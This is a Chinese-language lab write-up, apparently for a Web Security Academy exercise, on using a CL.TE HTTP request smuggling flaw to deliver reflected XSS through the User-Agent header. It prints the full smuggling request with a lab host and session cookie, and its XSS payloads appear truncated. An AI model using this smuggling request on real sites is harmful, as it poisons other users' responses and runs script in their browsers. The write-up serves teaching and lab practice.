> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).
# 利用 HTTP 走私传递反射型 XSS
### 利用 HTTP 请求走私传递反射型 XSS
实验室正在搭建前端服务器和后端服务器。/ 前端 **不支持分块编码**，这为以下攻击铺平了道路： **HTTP 请求走私**.
该应用程序还存在以下漏洞： **通过 User-Agent 请求头反射的 XSS**.
目标是 **将一个走私的** 请求发往后端，以便 **下一个受害用户的请求收到的响应中包含正在运行的 XSS 载荷 `alert(1)`**.
实验室会定期为以下内容生成请求：
### User-Agent 中的 XSS 漏洞
该 `userAgent` 表单中的该字段会直接在响应中重用，从而允许注入：
{% code overflow="wrap" %}
```html
```
{% endcode %}
此载荷被接受并解析，确认存在 XSS 漏洞。
{% code overflow="wrap" %}
```html
">
```
{% endcode %}
### **攻击目标**
思路是利用走私来确保：
1. 前端根据以下内容读取请求： **Content-Length**.
2. 后端根据以下内容读取： **Transfer-Encoding: chunked**.
3. 被走私的请求会修改受害用户的下一次请求。
4. 然后服务器会返回一个在 User-Agent 请求头中包含我们 XSS 载荷的响应。
### **走私的应用程序请求**
你提出一个包含空主体的 POST 请求（`0/r/n/r/n`）以结束分块部分，然后是发往后端的请求
```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked
0
GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: ">
```
这第二个请求（走私的）将被后端解释为下一次请求——也就是受害用户的请求——的一部分，从而使 XSS 载荷被注入到它将收到的响应中。
---
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